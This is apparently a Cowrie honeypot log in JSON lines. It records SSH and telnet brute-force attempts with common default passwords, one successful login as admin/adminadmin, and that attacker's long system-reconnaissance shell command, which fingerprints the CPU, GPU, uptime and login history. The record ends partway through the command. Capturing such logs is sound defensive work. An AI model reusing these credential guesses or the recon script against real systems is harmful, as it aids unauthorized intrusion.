{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:35.440726Z","src_ip":"45.156.87.253","session":"701c2fb59944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:36.523734Z","src_ip":"45.156.87.253","session":"701c2fb59944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35950,"dst_ip":"10.17.0.5","dst_port":22,"session":"566e34421c08","protocol":"ssh","message":"New connection: 45.156.87.253:35950 (10.17.0.5:22) [session: 566e34421c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:38.428517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:38.432126Z","src_ip":"45.156.87.253","session":"566e34421c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:38.512372Z","src_ip":"45.156.87.253","session":"566e34421c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:38.755976Z","src_ip":"45.156.87.253","session":"566e34421c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:40.016204Z","src_ip":"45.156.87.253","session":"566e34421c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59128,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab09b41aa6d8","protocol":"ssh","message":"New connection: 45.156.87.253:59128 (10.17.0.5:22) [session: ab09b41aa6d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:41.775362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:41.778965Z","src_ip":"45.156.87.253","session":"ab09b41aa6d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:41.859897Z","src_ip":"45.156.87.253","session":"ab09b41aa6d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"rootroot","message":"login attempt [ubuntu/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:42.109494Z","src_ip":"45.156.87.253","session":"ab09b41aa6d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:43.193322Z","src_ip":"45.156.87.253","session":"ab09b41aa6d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59144,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6b4c53d83bd","protocol":"ssh","message":"New connection: 45.156.87.253:59144 (10.17.0.5:22) [session: b6b4c53d83bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:45.151007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:45.154492Z","src_ip":"45.156.87.253","session":"b6b4c53d83bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:45.235698Z","src_ip":"45.156.87.253","session":"b6b4c53d83bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":40014,"dst_ip":"10.17.0.5","dst_port":23,"session":"6636d0bd129d","protocol":"telnet","message":"New connection: 72.167.226.244:40014 (10.17.0.5:23) [session: 6636d0bd129d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:45.259731Z"}
{"eventid":"cowrie.login.failed","username":"system","password":"1qaz2wsx","message":"login attempt [system/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:45.480043Z","src_ip":"45.156.87.253","session":"b6b4c53d83bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:46.564338Z","src_ip":"45.156.87.253","session":"b6b4c53d83bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.268320560455322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:48.201483Z","src_ip":"72.167.226.244","session":"2562f801a354","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59148,"dst_ip":"10.17.0.5","dst_port":22,"session":"7be8cc4a5121","protocol":"ssh","message":"New connection: 45.156.87.253:59148 (10.17.0.5:22) [session: 7be8cc4a5121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:48.529507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:48.533420Z","src_ip":"45.156.87.253","session":"7be8cc4a5121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:48.613719Z","src_ip":"45.156.87.253","session":"7be8cc4a5121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"12345678","message":"login attempt [administrator/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:48.856373Z","src_ip":"45.156.87.253","session":"7be8cc4a5121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:49.943257Z","src_ip":"45.156.87.253","session":"7be8cc4a5121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60846,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ed292ed4431","protocol":"ssh","message":"New connection: 45.156.87.253:60846 (10.17.0.5:22) [session: 3ed292ed4431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:51.916329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:51.919484Z","src_ip":"45.156.87.253","session":"3ed292ed4431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:52.001496Z","src_ip":"45.156.87.253","session":"3ed292ed4431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwe","message":"login attempt [root/12345qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:52.242997Z","src_ip":"45.156.87.253","session":"3ed292ed4431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:53.325596Z","src_ip":"45.156.87.253","session":"3ed292ed4431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60854,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ee2f63b11c1","protocol":"ssh","message":"New connection: 45.156.87.253:60854 (10.17.0.5:22) [session: 4ee2f63b11c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:55.275222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:55.278391Z","src_ip":"45.156.87.253","session":"4ee2f63b11c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:55.357664Z","src_ip":"45.156.87.253","session":"4ee2f63b11c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:55.599036Z","src_ip":"45.156.87.253","session":"4ee2f63b11c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:56.770436Z","src_ip":"45.156.87.253","session":"4ee2f63b11c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":50260,"dst_ip":"10.17.0.5","dst_port":22,"session":"489f430ae0e3","protocol":"ssh","message":"New connection: 91.92.40.11:50260 (10.17.0.5:22) [session: 489f430ae0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:56.877340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:56.926644Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:56.991258Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin","message":"login attempt [admin/adminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:57.631471Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:57.933921Z","src_ip":"91.92.40.11","session":"489f430ae0e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 